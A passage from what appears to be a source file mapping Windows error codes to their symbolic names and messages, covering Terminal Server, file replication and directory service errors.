(\"ERROR_CTX_CONSOLE_DISCONNECT\", \"Disconnecting the console session is not supported.\"),\n        0x00001b82: (\"ERROR_CTX_CONSOLE_CONNECT\", \"Reconnecting a disconnected session to the console is not supported.\"),\n        0x00001b84: (\"ERROR_CTX_SHADOW_DENIED\", \"The request to control another session remotely was denied.\"),\n        0x00001b85: (\"ERROR_CTX_WINSTATION_ACCESS_DENIED\", \"The requested session access is denied.\"),\n        0x00001b89: (\"ERROR_CTX_INVALID_WD\", \"The specified terminal connection driver is invalid.\"),\n        0x00001b8a: (\"ERROR_CTX_SHADOW_INVALID\", \"The requested session cannot be controlled remotely.\"),\n        0x00001b8b: (\"ERROR_CTX_SHADOW_DISABLED\", \"The requested session is not configured to allow remote control.\"),\n        0x00001b8c: (\"ERROR_CTX_CLIENT_LICENSE_IN_USE\", \"Your request to connect to this Terminal Server has been rejected. Your Terminal Server client license number is currently being used by another user. Please call your system administrator to obtain a unique license number.\"),\n        0x00001b8d: (\"ERROR_CTX_CLIENT_LICENSE_NOT_SET\", \"Your request to connect to this Terminal Server has been rejected. Your Terminal Server client license number has not been entered for this copy of the Terminal Server client. Please contact your system administrator.\"),\n        0x00001b8e: (\"ERROR_CTX_LICENSE_NOT_AVAILABLE\", \"The number of connections to this computer is limited and all connections are in use right now. Try connecting later or contact your system administrator.\"),\n        0x00001b8f: (\"ERROR_CTX_LICENSE_CLIENT_INVALID\", \"The client you are using is not licensed to use this system. Your logon request is denied.\"),\n        0x00001b90: (\"ERROR_CTX_LICENSE_EXPIRED\", \"The system license has expired. Your logon request is denied.\"),\n        0x00001b91: (\"ERROR_CTX_SHADOW_NOT_RUNNING\", \"Remote control could not be terminated because the specified session is not currently being remotely controlled.\"),\n        0x00001b92: (\"ERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE\", \"The remote control of the console was terminated because the display mode was changed. Changing the display mode in a remote control session is not supported.\"),\n        0x00001b93: (\"ERROR_ACTIVATION_COUNT_EXCEEDED\", \"Activation has already been reset the maximum number of times for this installation. Your activation timer will not be cleared.\"),\n        0x00001b94: (\"ERROR_CTX_WINSTATIONS_DISABLED\", \"Remote logins are currently disabled.\"),\n        0x00001b95: (\"ERROR_CTX_ENCRYPTION_LEVEL_REQUIRED\", \"You do not have the proper encryption level to access this Session.\"),\n        0x00001b96: (\"ERROR_CTX_SESSION_IN_USE\", \"The user %s\\\\%s is currently logged on to this computer. Only the current user or an administrator can log on to this computer.\"),\n        0x00001b97: (\"ERROR_CTX_NO_FORCE_LOGOFF\", \"The user %s\\\\%s is already logged on to the console of this computer. You do not have permission to log in at this time. To resolve this issue, contact %s\\\\%s and have them log off.\"),\n        0x00001b98: (\"ERROR_CTX_ACCOUNT_RESTRICTION\", \"Unable to log you on because of an account restriction.\"),\n        0x00001b99: (\"ERROR_RDP_PROTOCOL_ERROR\", \"The RDP protocol component %2 detected an error in the protocol stream and has disconnected the client.\"),\n        0x00001b9a: (\"ERROR_CTX_CDM_CONNECT\", \"The Client Drive Mapping Service Has Connected on Terminal Connection.\"),\n        0x00001b9b: (\"ERROR_CTX_CDM_DISCONNECT\", \"The Client Drive Mapping Service Has Disconnected on Terminal Connection.\"),\n        0x00001b9c: (\"ERROR_CTX_SECURITY_LAYER_ERROR\", \"The Terminal Server security layer detected an error in the protocol stream and has disconnected the client.\"),\n        0x00001b9d: (\"ERROR_TS_INCOMPATIBLE_SESSIONS\", \"The target session is incompatible with the current session.\"),\n        0x00001b9e: (\"ERROR_TS_VIDEO_SUBSYSTEM_ERROR\", \"Windows can't connect to your session because a problem occurred in the Windows video subsystem. Try connecting again later, or contact the server administrator for assistance.\"),\n        0x00001f41: (\"FRS_ERR_INVALID_API_SEQUENCE\", \"The file replication service API was called incorrectly.\"),\n        0x00001f42: (\"FRS_ERR_STARTING_SERVICE\", \"The file replication service cannot be started.\"),\n        0x00001f43: (\"FRS_ERR_STOPPING_SERVICE\", \"The file replication service cannot be stopped.\"),\n        0x00001f44: (\"FRS_ERR_INTERNAL_API\", \"The file replication service API terminated the request. The event log may have more information.\"),\n        0x00001f45: (\"FRS_ERR_INTERNAL\", \"The file replication service terminated the request. The event log may have more information.\"),\n        0x00001f46: (\"FRS_ERR_SERVICE_COMM\", \"The file replication service cannot be contacted. The event log may have more information.\"),\n        0x00001f47: (\"FRS_ERR_INSUFFICIENT_PRIV\", \"The file replication service cannot satisfy the request because the user has insufficient privileges. The event log may have more information.\"),\n        0x00001f48: (\"FRS_ERR_AUTHENTICATION\", \"The file replication service cannot satisfy the request because authenticated RPC is not available. The event log may have more information.\"),\n        0x00001f49: (\"FRS_ERR_PARENT_INSUFFICIENT_PRIV\", \"The file replication service cannot satisfy the request because the user has insufficient privileges on the domain controller. The event log may have more information.\"),\n        0x00001f4a: (\"FRS_ERR_PARENT_AUTHENTICATION\", \"The file replication service cannot satisfy the request because authenticated RPC is not available on the domain controller. The event log may have more information.\"),\n        0x00001f4b: (\"FRS_ERR_CHILD_TO_PARENT_COMM\", \"The file replication service cannot communicate with the file replication service on the domain controller. The event log may have more information.\"),\n        0x00001f4c: (\"FRS_ERR_PARENT_TO_CHILD_COMM\", \"The file replication service on the domain controller cannot communicate with the file replication service on this computer. The event log may have more information.\"),\n        0x00001f4d: (\"FRS_ERR_SYSVOL_POPULATE\", \"The file replication service cannot populate the system volume because of an internal error. The event log may have more information.\"),\n        0x00001f4e: (\"FRS_ERR_SYSVOL_POPULATE_TIMEOUT\", \"The file replication service cannot populate the system volume because of an internal timeout. The event log may have more information.\"),\n        0x00001f4f: (\"FRS_ERR_SYSVOL_IS_BUSY\", \"The file replication service cannot process the request. The system volume is busy with a previous request.\"),\n        0x00001f50: (\"FRS_ERR_SYSVOL_DEMOTE\", \"The file replication service cannot stop replicating the system volume because of an internal error. The event log may have more information.\"),\n        0x00001f51: (\"FRS_ERR_INVALID_SERVICE_PARAMETER\", \"The file replication service detected an invalid parameter.\"),\n        0x00002008: (\"ERROR_DS_NOT_INSTALLED\", \"An error occurred while installing the directory service. For more information, see the event log.\"),\n        0x00002009: (\"ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY\", \"The directory service evaluated group memberships locally.\"),\n        0x0000200a: (\"ERROR_DS_NO_ATTRIBUTE_OR_VALUE\", \"The specified directory service attribute or value does not exist.\"),\n        0x0000200b: (\"ERROR_DS_INVALID_ATTRIBUTE_SYNTAX\", \"The attribute syntax specified to the directory service is invalid.\"),\n        0x0000200c: (\"ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED\", \"The attribute type specified to the directory service is not defined.\"),\n        0x0000200d: (\"ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS\", \"The specified directory service attribute or value already exists.\"),\n        0x0000200e: (\"ERROR_DS_BUSY\", \"The directory service is busy.\"),\n        0x0000200f: (\"ERROR_DS_UNAVAILABLE\", \"The directory service is unavailable.\"),\n        0x00002010: (\"ERROR_DS_NO_RIDS_ALLOCATED\", \"The directory service was unable to allocate a relative identifier.\"),\n        0x00002011: (\"ERROR_DS_NO_MORE_RIDS\", \"The directory service has exhausted the pool of relative identifiers.\"),\n        0x00002012: (\"ERROR_DS_INCORRECT_ROLE_OWNER\", \"The requested operation could not be performed because the directory service is not the master for that type of operation.\"),\n        0x00002013: (\"ERROR_DS_RIDMGR_INIT_ERROR\", \"The directory service was unable to initialize the subsystem that allocates relative identifiers.\"),\n        0x00002014: (\"ERROR_DS_OBJ_CLASS_VIOLATION\", \"The requested operation did not satisfy one or more constraints associated with the class of the object.\"),\n        0x00002015: (\"ERROR_DS_CANT_ON_NON_LEAF\", \"The directory service can perform the requested operation only on a leaf object.\"),\n        0x00002016: (\"ERROR_DS_CANT_ON_RDN\", \"The directory service cannot perform the requested operation on the RDN attribute of an object.\"),\n        0x00002017: (\"ERROR_DS_CANT_MOD_OBJ_CLASS\", \"The directory service detected an attempt to modify the object class of an object.\"),\n        0x00002018: (\"ERROR_DS_CROSS_DOM_MOVE_ERROR\", \"The requested cross-domain move operation could not be performed.\"),\n        0x00002019: (\"ERROR_DS_GC_NOT_AVAILABLE\", \"Unable to contact the global catalog server.\"),\n        0x0000201a: (\"ERROR_SHARED_POLICY\", \"The policy object is shared and can only be modified at the root.\"),\n        0x0000201b: (\"ERROR_POLICY_OBJECT_NOT_FOUND\", \"The policy object does not exist.\"),\n        0x0000201c: (\"ERROR_POLICY_ONLY_IN_DS\", \"The requested policy information is only in the directory service.\"),\n        0x0000201d: (\"ERROR_PROMOTION_ACTIVE\", \"A domain controller promotion is currently active.\"),\n        0x0000201e: (\"ERROR_NO_PROMOTION_ACTIVE\", \"A domain controller promotion is not currently active\"),\n        0x00002020: (\"ERROR_DS_OPERATIONS_ERROR\", \"An operations error occurred.\"),\n        0x00002021: (\"ERROR_DS_PROTOCOL_ERROR\", \"A protocol error occurred.\"),\n        0x00002022: (\"ERROR_DS_TIMELIMIT_EXCEEDED\", \"The time limit for this request was exceeded.\"),\n        0x00002023: (\"ERROR_DS_SIZELIMIT_EXCEEDED\", \"The size limit for this request was exceeded.\"),\n        0x00002024: (\"ERROR_DS_ADMIN_LIMIT_EXCEEDED\", \"The administrative limit for this request was exceeded.\"),\n        0x00002025: (\"ERROR_DS_COMPARE_FALSE\", \"The compare response was false.\"),\n        0x00002026: (\"ERROR_DS_COMPARE_TRUE\", \"The compare response was true.\"),\n        0x00002027: (\"ERROR_DS_AUTH_METHOD_NOT_SUPPORTED\", \"The requested authentication method is not supported by the server.\"),\n        0x00002028: (\"ERROR_DS_STRONG_AUTH_REQUIRED\", \"A more secure authentication method is required for this server.\"),\n        0x00002029: (\"ERROR_DS_INAPPROPRIATE_AUTH\", \"Inappropriate authentication.\"),\n        0x0000202a: (\"ERROR_DS_AUTH_UNKNOWN\", \"The authentication mechanism is unknown.\"),\n        0x0000202b: (\"ERROR_DS_REFERRAL\", \"A referral was returned from the server.\"),\n        0x0000202c: (\"ERROR_DS_UNAVAILABLE_CRIT_EXTENSION\", \"The server does not support the requested critical extension.\"),\n        0x0000202d: (\"ERROR_DS_CONFIDENTIALITY_REQUIRED\", \"This request requires a secure connection.\"),\n        0x0000202e: (\"ERROR_DS_INAPPROPRIATE_MATCHING\", \"Inappropriate matching.\"),\n        0x0000202f: (\"ERROR_DS_CONSTRAINT_VIOLATION\", \"A constraint violation occurred.\"),\n        0x00002030: (\"ERROR_DS_NO_SUCH_OBJECT\", \"There is no such object on the server.\"),\n        0x00002031: (\"ERROR_DS_ALIAS_PROBLEM\", \"There is an alias problem.\"),\n        0x00002032: (\"ERROR_DS_INVALID_DN_SYNTAX\", \"An invalid dn syntax has been specified.\"),\n        0x00002033: (\"ERROR_DS_IS_LEAF\", \"The object is a leaf object.\"),\n        0x00002034: (\"ERROR_DS_ALIAS_DEREF_PROBLEM\", \"There is an alias dereferencing problem.\"),\n        0x00002035: (\"ERROR_DS_UNWILLING_TO_PERFORM\", \"The server is unwilling to process the request.\"),\n        0x00002036: (\"ERROR_DS_LOOP_DETECT\", \"A loop has been detected.\"),\n        0x00002037: (\"ERROR_DS_NAMING_VIOLATION\", \"There is a naming violation.\"),\n        0x00002038: (\"ERROR_DS_OBJECT_RESULTS_TOO_LARGE\", \"The result set is too large.\"),\n        0x00002039: (\"ERROR_DS_AFFECTS_MULTIPLE_DSAS\", \"The operation affects multiple DSAs\"),\n        0x0000203a: (\"ERROR_DS_SERVER_DOWN\", \"The server is not operational.\"),\n        0x0000203b: (\"ERROR_DS_LOCAL_ERROR\", \"A local error has occurred.\"),\n        0x0000203c: (\"ERROR_DS_ENCODING_ERROR\", \"An encoding error has occurred.\"),\n        0x0000203d: (\"ERROR_DS_DECODING_ERROR\", \"A decoding error has occurred.\"),\n        0x0000203e: (\"ERROR_DS_FILTER_UNKNOWN\", \"The search filter cannot be recognized.\"),\n        0x0000203f: (\"ERROR_DS_PARAM_ERROR\", \"One or more parameters are illegal.\"),\n        0x00002040: (\"ERROR_DS_NOT_SUPPORTED\", \"The specified method is not supported.\"),\n        0x00002041: (\"ERROR_DS_NO_RESULTS_RETURNED\", \"No results were returned.\"),\n        0x00002042: (\"ERROR_DS_CONTROL_NOT_FOUND\", \"The specified control is not supported by the server.\"),\n        0x00002043: (\"ERROR_DS_CLIENT_LOOP\", \"A referral loop was detected by the client.\"),\n        0x00002044: (\"ERROR_DS_REFERRAL_LIMIT_EXCEEDED\", \"The preset referral limit was exceeded.\"),\n        0x00002045: (\"ERROR_DS_SORT_CONTROL_MISSING\", \"The search requires a SORT control.\"),\n        0x00002046: (\"ERROR_DS_OFFSET_RANGE_ERROR\", \"The search results exceed the offset range specified.\"),\n        0x00002047: (\"ERROR_DS_RIDMGR_DISABLED\", \"The directory service detected the subsystem that allocates relative identifiers is disabled. This can occur as a protective mechanism when the system determines a significant portion of relative identifiers (RIDs) have been exhausted. Please see https://go.microsoft.com/fwlink/?LinkId=228610 for recommended diagnostic steps and the procedure to re-enable account creation.\"),\n        0x0000206d: (\"ERROR_DS_ROOT_MUST_BE_NC\", \"The root object must be the head of a naming context. The root object cannot have an instantiated parent.\"),\n        0x0000206e: (\"ERROR_DS_ADD_REPLICA_INHIBITED\", \"The add replica operation cannot be performed. The naming context must be writeable in order to create the replica.\"),\n        0x0000206f: (\"ERROR_DS_ATT_NOT_DEF_IN_SCHEMA\", \"A reference to an attribute that is not defined in the schema occurred.\"),\n        0x00002070: (\"ERROR_DS_MAX_OBJ_SIZE_EXCEEDED\", \"The maximum size of an object has been exceeded.\"),\n        0x00002071: (\"ERROR_DS_OBJ_STRING_NAME_EXISTS\", \"An attempt was made to add an object to the directory with a name that is already in use.\"),\n        0x00002072: (\"ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA\", \"An attempt was made to add an object of a class that does not have an RDN defined in the schema.\"),\n        0x00002073: (\"ERROR_DS_RDN_DOESNT_MATCH_SCHEMA\", \"An attempt was made to add an object using an RDN that is not the RDN defined in the schema.\"),\n        0x00002074: (\"ERROR_DS_NO_REQUESTED_ATTS_FOUND\", \"None of the requested attributes were found on the objects.\"),\n        0x00002075: (\"ERROR_DS_USER_BUFFER_TO_SMALL\", \"The user buffer is too small.\"),\n        0x00002076: (\"ERROR_DS_ATT_IS_NOT_ON_OBJ\", \"The attribute specified in the operation is not present on the object.\"),\n        0x00002077: (\"ERROR_DS_ILLEGAL_MOD_OPERATION\", \"Illegal modify operation. Some aspect of the modification is not permitted.\"),\n        0x00002078: (\"ERROR_DS_OBJ_TOO_LARGE\", \"The specified object is too large.\"),\n        0x00002079: (\"ERROR_DS_BAD_INSTANCE_TYPE\", \"The specified instance type is not valid.\"),\n        0x0000207a: (\"ERROR_DS_MASTERDSA_REQUIRED\", \"The operation must be performed at a master DSA.\"),\n        0x0000207b: (\"ERROR_DS_OBJECT_CLASS_REQUIRED\", \"The object class attribute must be specified.\"),\n        0x0000207c: (\"ERROR_DS_MISSING_REQUIRED_ATT\", \"A required attribute is missing.\"),\n        0x0000207d: (\"ERROR_DS_ATT_NOT_DEF_FOR_CLASS\", \"An attempt was made to modify an object to include an attribute that is not legal for its class.\"),\n        0x0000207e: (\"ERROR_DS_ATT_ALREADY_EXISTS\", \"The specified attribute is already present on the object.\"),\n        0x00002080: (\"ERROR_DS_CANT_ADD_ATT_VALUES\", \"The specified attribute is not present, or has no values.\"),\n        0x00002081: (\"ERROR_DS_SINGLE_VALUE_CONSTRAINT\", \"Multiple values were specified for an attribute that can have only one value.\"),\n        0x00002082: (\"ERROR_DS_RANGE_CONSTRAINT\", \"A value for the attribute was not in the acceptable range of values.\"),\n        0x00002083: (\"ERROR_DS_ATT_VAL_ALREADY_EXISTS\", \"The specified value already exists.\"),\n        0x00002084: (\"ERROR_DS_CANT_REM_MISSING_ATT\", \"The attribute cannot be removed because it is not present on the object.\"),\n        0x00002085: (\"ERROR_DS_CANT_REM_MISSING_ATT_VAL\", \"The attribute value cannot be removed because it is not present on the object.\"),\n        0x00002086: (\"ERROR_DS_ROOT_CANT_BE_SUBREF\", \"The specified root object cannot be a subref.\"),\n        0x00002087: (\"ERROR_DS_NO_CHAINING\", \"Chaining is not permitted.\"),\n        0x00002088: (\"ERROR_DS_NO_CHAINED_EVAL\", \"Chained evaluation is not permitted.\"),\n        0x00002089: (\"ERROR_DS_NO_PARENT_OBJECT\", \"The operation could not be performed because the object's parent is either uninstantiated or deleted.\"),\n        0x0000208a: (\"ERROR_DS_PARENT_IS_AN_ALIAS\", \"Having a parent that is an alias is not permitted. Aliases are leaf objects.\"),\n        0x0000208b: (\"ERROR_DS_CANT_MIX_MASTER_AND_REPS\", \"The object and parent must be of the same type, either both masters or both replicas.\"),\n        0x0000208c: (\"ERROR_DS_CHILDREN_EXIST\", \"The operation cannot be performed because child objects exist. This operation can only be performed on a leaf object.\"),\n        0x0000208d: (\"ERROR_DS_OBJ_NOT_FOUND\", \"Directory object not found.\"),\n        0x0000208e: (\"ERROR_DS_ALIASED_OBJ_MISSING\", \"The aliased object is missing.\"),\n        0x0000208f: (\"ERROR_DS_BAD_NAME_SYNTAX\", \"The object name has bad syntax.\"),\n        0x00002090: (\"ERROR_DS_ALIAS_POINTS_TO_ALIAS\", \"It is not permitted for an alias to refer to another alias.\"),\n        0x00002091: (\"ERROR_DS_CANT_DEREF_ALIAS\", \"The alias cannot be dereferenced.\"),\n        0x00002092: (\"ERROR_DS_OUT_OF_SCOPE\", \"The operation is out of scope.\"),\n        0x00002093: (\"ERROR_DS_OBJECT_BEING_REMOVED\", \"The operation cannot continue because the object is in the process of being removed.\"),\n        0x00002094: (\"ERROR_DS_CANT_DELETE_DSA_OBJ\", \"The DSA object cannot be deleted.\"),\n        0x00002095: (\"ERROR_DS_GENERIC_ERROR\", \"A directory service error has occurred.\"),\n        0x00002096: (\"ERROR_DS_DSA_MUST_BE_INT_MASTER\", \"The operation can only be performed on an internal master DSA object.\"),\n        0x00002097: (\"ERROR_DS_CLASS_NOT_DSA\", \"The object must be of class DSA.\"),\n        0x00002098: (\"ERROR_DS_INSUFF_ACCESS_RIGHTS\", \"Insufficient access rights to perform the operation.\"),\n        0x00002099: (\"ERROR_DS_ILLEGAL_SUPERIOR\", \"The object cannot be added because the parent is not on the list of possible superiors.\"),\n        0x0000209a: (\"ERROR_DS_ATTRIBUTE_OWNED_BY_SAM\", \"Access to the attribute is not permitted because the attribute is owned by the Security Accounts Manager (SAM).\"),\n        0x0000209b: (\"ERROR_DS_NAME_TOO_MANY_PARTS\", \"The name has too many parts.\"),\n        0x0000209c: (\"ERROR_DS_NAME_TOO_LONG\", \"The name is too long.\"),\n        0x0000209d: (\"ERROR_DS_NAME_VALUE_TOO_LONG\", \"The name value is too long.\"),\n        0x0000209e: (\"ERROR_DS_NAME_UNPARSEABLE\", \"The directory service encountered an error parsing a name.\"),\n        0x0000209f: (\"ERROR_DS_NAME_TYPE_UNKNOWN\", \"The directory service cannot get the attribute type for a name.\"),\n        0x000020a0: (\"ERROR_DS_NOT_AN_OBJECT\", \"The name does not identify an object; the name identifies a phantom.\"),\n        0x000020a1: (\"ERROR_DS_SEC_DESC_TOO_SHORT\", \"The security descriptor is too short.\"),\n        0x000020a2: (\"ERROR_DS_SEC_DESC_INVALID\", \"The security descriptor is invalid.\"),\n        0x000020a3: (\"ERROR_DS_NO_DELETED_NAME\", \"Failed to create name for deleted object.\"),\n        0x000020a4: (\"ERROR_DS_SUBREF_MUST_HAVE_PARENT\", \"The parent of a new subref must exist.\"),\n        0x000020a5: (\"ERROR_DS_NCNAME_MUST_BE_NC\", \"The object must be a naming context.\"),\n        0x000020a6: (\"ERROR_DS_CANT_ADD_SYSTEM_ONLY\", \"It is not permitted to add an attribute which is owned by the system.\"),\n        0x000020a7: (\"ERROR_DS_CLASS_MUST_BE_CONCRETE\", \"The class of the object must be structural; you cannot instantiate an abstract class.\"),\n        0x000020a8: (\"ERROR_DS_INVALID_DMD\", \"The schema object could not be found.\"),\n        0x000020a9: (\"ERROR_DS_OBJ_GUID_EXISTS\", \"A local object with this GUID (dead or alive) already exists.\"),\n        0x000020aa: (\"ERROR_DS_NOT_ON_BACKLINK\", \"The operation cannot be performed on a back link.\"),\n        0x000020ab: (\"ERROR_DS_NO_CROSSREF_FOR_NC\", \"The cross reference for the specified naming context could not be found.\"),\n        0x000020ac: (\"ERROR_DS_SHUTTING_DOWN\", \"The operation could not be performed because the directory service is shutting down.\"),\n        0x000020ad: (\"ERROR_DS_UNKNOWN_OPERATION\", \"The directory service request is invalid.\"),\n        0x000020ae: (\"ERROR_DS_INVALID_ROLE_OWNER\", \"The role owner attribute could not be read.\"),\n        0x000020af: (\"ERROR_DS_COULDNT_CONTACT_FSMO\", \"The requested FSMO operation failed. The current FSMO holder could not be contacted.\"),\n        0x000020b0: (\"ERROR_DS_CROSS_NC_DN_RENAME\", \"Modification of a DN across a naming context is not permitted.\"),\n        0x000020b1: (\"ERROR_DS_CANT_MOD_SYSTEM_ONLY\", \"The attribute cannot be modified because it is owned by the system.\"),\n        0x000020b2: (\"ERROR_DS_REPLICATOR_ONLY\", \"Only the replicator can perform this function.\"),\n        0x000020b3: (\"ERROR_DS_OBJ_CLASS_NOT_DEFINED\", \"The specified class is not defined.\"),\n        0x000020b4: (\"ERROR_DS_OBJ_CLASS_NOT_SUBCLASS\", \"The specified class is not a subclass.\"),\n        0x000020b5: (\"ERROR_DS_NAME_REFERENCE_INVALID\", \"The name reference is invalid.\"),\n        0x000020b6: (\"ERROR_DS_CROSS_REF_EXISTS\", \"A cross reference already exists.\"),\n        0x000020b7: (\"ERROR_DS_CANT_DEL_MASTER_CROSSREF\", \"It is not permitted to delete a master cross reference.\"),\n        0x000020b8: (\"ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD\", \"Subtree notifications are only supported on NC heads.\"),\n        0x000020b9: (\"ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX\", \"Notification filter is too complex.\"),\n        0x000020ba: (\"ERROR_DS_DUP_RDN\", \"Schema update failed: duplicate RDN.\"),\n        0x000020bb: (\"ERROR_DS_DUP_OID\", \"Schema update failed: duplicate OID.\"),\n        0x000020bc: (\"ERROR_DS_DUP_MAPI_ID\", \"Schema update failed: duplicate MAPI identifier.\"),\n        0x000020bd: (\"ERROR_DS_DUP_SCHEMA_ID_GUID\", \"Schema update failed: duplicate schema-id GUID.\"),\n        0x000020be: (\"ERROR_DS_DUP_LDAP_DISPLAY_NAME\", \"Schema update failed: duplicate LDAP display name.\"),\n        0x000020bf: (\"ERROR_DS_SEMANTIC_ATT_TEST\", \"Schema update failed: range-lower less than range upper.\"),\n        0x000020c0: (\"ERROR_DS_SYNTAX_MISMATCH\", \"Schema update failed: syntax mismatch.\"),\n        0x000020c1: (\"ERROR_DS_EXISTS_IN_MUST_HAVE\", \"Schema deletion failed: attribute is used in must-contain.\"),\n        0x000020c2: (\"ERROR_DS_EXISTS_IN_MAY_HAVE\", \"Schema deletion failed: attribute is used in may-contain.\"),\n        0x000020c3: (\"ERROR_DS_NONEXISTENT_MAY_HAVE\", \"Schema update failed: attribute in may-contain does not exist.\"),\n        0x000020c4: (\"ERROR_DS_NONEXISTENT_MUST_HAVE\", \"Schema update failed: attribute in must-contain does not exist.\"),\n        0x000020c5: (\"ERROR_DS_AUX_CLS_TEST_FAIL\", \"Schema update failed: class in aux-class list does not exist or is not an auxiliary class.\"),\n        0x000020c6: (\"ERROR_DS_NONEXISTENT_POSS_SUP\", \"Schema update failed: class in poss-superiors does not exist.\"),\n        0x000020c7: (\"ERROR_DS_SUB_CLS_TEST_FAIL\", \"Schema update failed: class in subclassof list does not exist or does not satisfy hierarchy rules.\"),\n        0x000020c8: (\"ERROR_DS_BAD_RDN_ATT_ID_SYNTAX\", \"Schema update failed: Rdn-Att-Id has wrong syntax.\"),\n        0x000020c9: (\"ERROR_DS_EXISTS_IN_AUX_CLS\", \"Schema deletion failed: class is used as auxiliary class.\"),\n        0x000020ca: (\"ERROR_DS_EXISTS_IN_SUB_CLS\", \"Schema deletion failed: class is used as sub class.\"),\n        0x000020cb: (\"ERROR_DS_EXISTS_IN_POSS_SUP\", \"Schema deletion failed: class is used as poss superior.\"),\n        0x000020cc: (\"ERROR_DS_RECALCSCHEMA_FAILED\", \"Schema update failed in recalculating validation cache.\"),\n        0x000020cd: (\"ERROR_DS_TREE_DELETE_NOT_FINISHED\", \"The tree deletion is not finished. The request must be made again to continue deleting the tree.\"),\n        0x000020ce: (\"ERROR_DS_CANT_DELETE\", \"The requested delete operation could not be performed.\"),\n        0x000020cf: (\"ERROR_DS_ATT_SCHEMA_REQ_ID\", \"Cannot read the governs class identifier for the schema record.\"),\n        0x000020d0: (\"ERROR_DS_BAD_ATT_SCHEMA_SYNTAX\", \"The attribute schema has bad syntax.\"),\n        0x000020d1: (\"ERROR_DS_CANT_CACHE_ATT\", \"The attribute could not be cached.\"),\n        0x000020d2: (\"ERROR_DS_CANT_CACHE_CLASS\", \"The class could not be cached.\"),\n        0x000020d3: (\"ERROR_DS_CANT_REMOVE_ATT_CACHE\", \"The attribute could not be removed from the cache.\"),\n        0x000020d4: (\"ERROR_DS_CANT_REMOVE_CLASS_CACHE\", \"The class could not be removed from the cache.\"),\n        0x000020d5: (\"ERROR_DS_CANT_RETRIEVE_DN\", \"The distinguished name attribute could not be read.\"),\n        0x000020d6: (\"ERROR_DS_MISSING_SUPREF\", \"No superior reference has been configured for the directory service. The directory service is therefore unable to issue referrals to objects outside this forest.\"),\n        0x000020d7: (\"ERROR_DS_CANT_RETRIEVE_INSTANCE\", \"The instance type attribute could not be retrieved.\"),\n        0x000020d8: (\"ERROR_DS_CODE_INCONSISTENCY\", \"An internal error has occurred.\"),\n        0x000020d9: (\"ERROR_DS_DATABASE_ERROR\", \"A database error has occurred.\"),\n        0x000020da: (\"ERROR_DS_GOVERNSID_MISSING\", \"The attribute GOVERNSID is missing.\"),\n        0x000020db: (\"ERROR_DS_MISSING_EXPECTED_ATT\", \"An expected attribute is missing.\"),\n        0x000020dc: (\"ERROR_DS_NCNAME_MISSING_CR_REF\", \"The specified naming context is missing a cross reference.\"),\n        0x000020dd: (\"ERROR_DS_SECURITY_CHECKING_ERROR\", \"A security checking error has occurred.\"),\n        0x000020de: (\"ERROR_DS_SCHEMA_NOT_LOADED\", \"The schema is not loaded.\"),\n        0x000020df: (\"ERROR_DS_SCHEMA_ALLOC_FAILED\", \"Schema allocation failed. Please check if the machine is running low on memory.\"),\n        0x000020e0: (\"ERROR_DS_ATT_SCHEMA_REQ_SYNTAX\", \"Failed to obtain the required syntax for the attribute schema.\"),\n        0x000020e1: (\"ERROR_DS_GCVERIFY_ERROR\", \"The global catalog verification failed. The global catalog is not available or does not support the operation. Some part of the directory is currently not available.\"),\n        0x000020e2: (\"ERROR_DS_DRA_SCHEMA_MISMATCH\", \"The replication operation failed because of a schema mismatch between the servers involved.\"),\n        0x000020e3: (\"ERROR_DS_CANT_FIND_DSA_OBJ\", \"The DSA object could not be found.\"),\n        0x000020e4: (\"ERROR_DS_CANT_FIND_EXPECTED_NC\", \"The naming context could not be found.\"),\n        0x000020e5: (\"ERROR_DS_CANT_FIND_NC_IN_CACHE\", \"The naming context could not be found in the cache.\"),\n        0x000020e6: (\"ERROR_DS_CANT_RETRIEVE_CHILD\", \"The child object could not be retrieved.\"),\n        0x000020e7: (\"ERROR_DS_SECURITY_ILLEGAL_MODIFY\", \"The modification was not permitted for security reasons.\"),\n        0x000020e8: (\"ERROR_DS_CANT_REPLACE_HIDDEN_REC\", \"The operation cannot replace the hidden record.\"),\n        0x000020e9: (\"ERROR_DS_BAD_HIERARCHY_FILE\", \"The hierarchy file is invalid.\"),\n        0x000020ea: (\"ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED\", \"The attempt to build the hierarchy table failed.\"),\n        0x000020eb: (\"ERROR_DS_CONFIG_PARAM_MISSING\", \"The directory configuration parameter is missing from the registry.\"),\n        0x000020ec: (\"ERROR_DS_COUNTING_AB_INDICES_FAILED\", \"The attempt to count the address book indices failed.\"),\n        0x000020ed: (\"ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED\", \"The allocation of the hierarchy table failed.\"),\n        0x000020ee: (\"ERROR_DS_INTERNAL_FAILURE\", \"The directory service encountered an internal failure.\"),\n        0x000020ef: (\"ERROR_DS_UNKNOWN_ERROR\", \"The directory service encountered an unknown failure.\"),\n        0x000020f0: (\"ERROR_DS_ROOT_REQUIRES_CLASS_TOP\", \"A root object requires a class of 'top'.\"),\n        0x000020f1: (\"ERROR_DS_REFUSING_FSMO_ROLES\", \"This directory server is shutting down, and cannot take ownership of new floating single-master operation roles.\"),\n        0x000020f2: (\"ERROR_DS_MISSING_FSMO_SETTINGS\", \"The directory service is missing mandatory configuration information, and is unable to determine the ownership of floating single-master operation roles.\"),\n        0x000020f3: (\"ERROR_DS_UNABLE_TO_SURRENDER_ROLES\", \"The directory service was unable to transfer ownership of one or more floating single-master operation roles to other servers.\"),\n        0x000020f4: (\"ERROR_DS_DRA_GENERIC\", \"The replication operation failed.\"),\n        0x000020f5: (\"ERROR_DS_DRA_INVALID_PARAMETER\", \"An invalid parameter was specified for this replication operation.\"),\n        0x000020f6: (\"ERROR_DS_DRA_BUSY\", \"The directory service is too busy to complete the replication operation at this time.\"),\n        0x000020f7: (\"ERROR_DS_DRA_BAD_DN\", \"The distinguished name specified for this replication operation is invalid.\"),\n        0x000020f8: (\"ERROR_DS_DRA_BAD_NC\", \"The naming context specified for this replication operation is invalid.\"),\n        0x000020f9: (\"ERROR_DS_DRA_DN_EXISTS\", \"The distinguished name specified for this replication operation already exists.\"),\n        0x000020fa: (\"ERROR_DS_DRA_INTERNAL_ERROR\", \"The replication system encountered an internal error.\"),\n        0x000020fb: 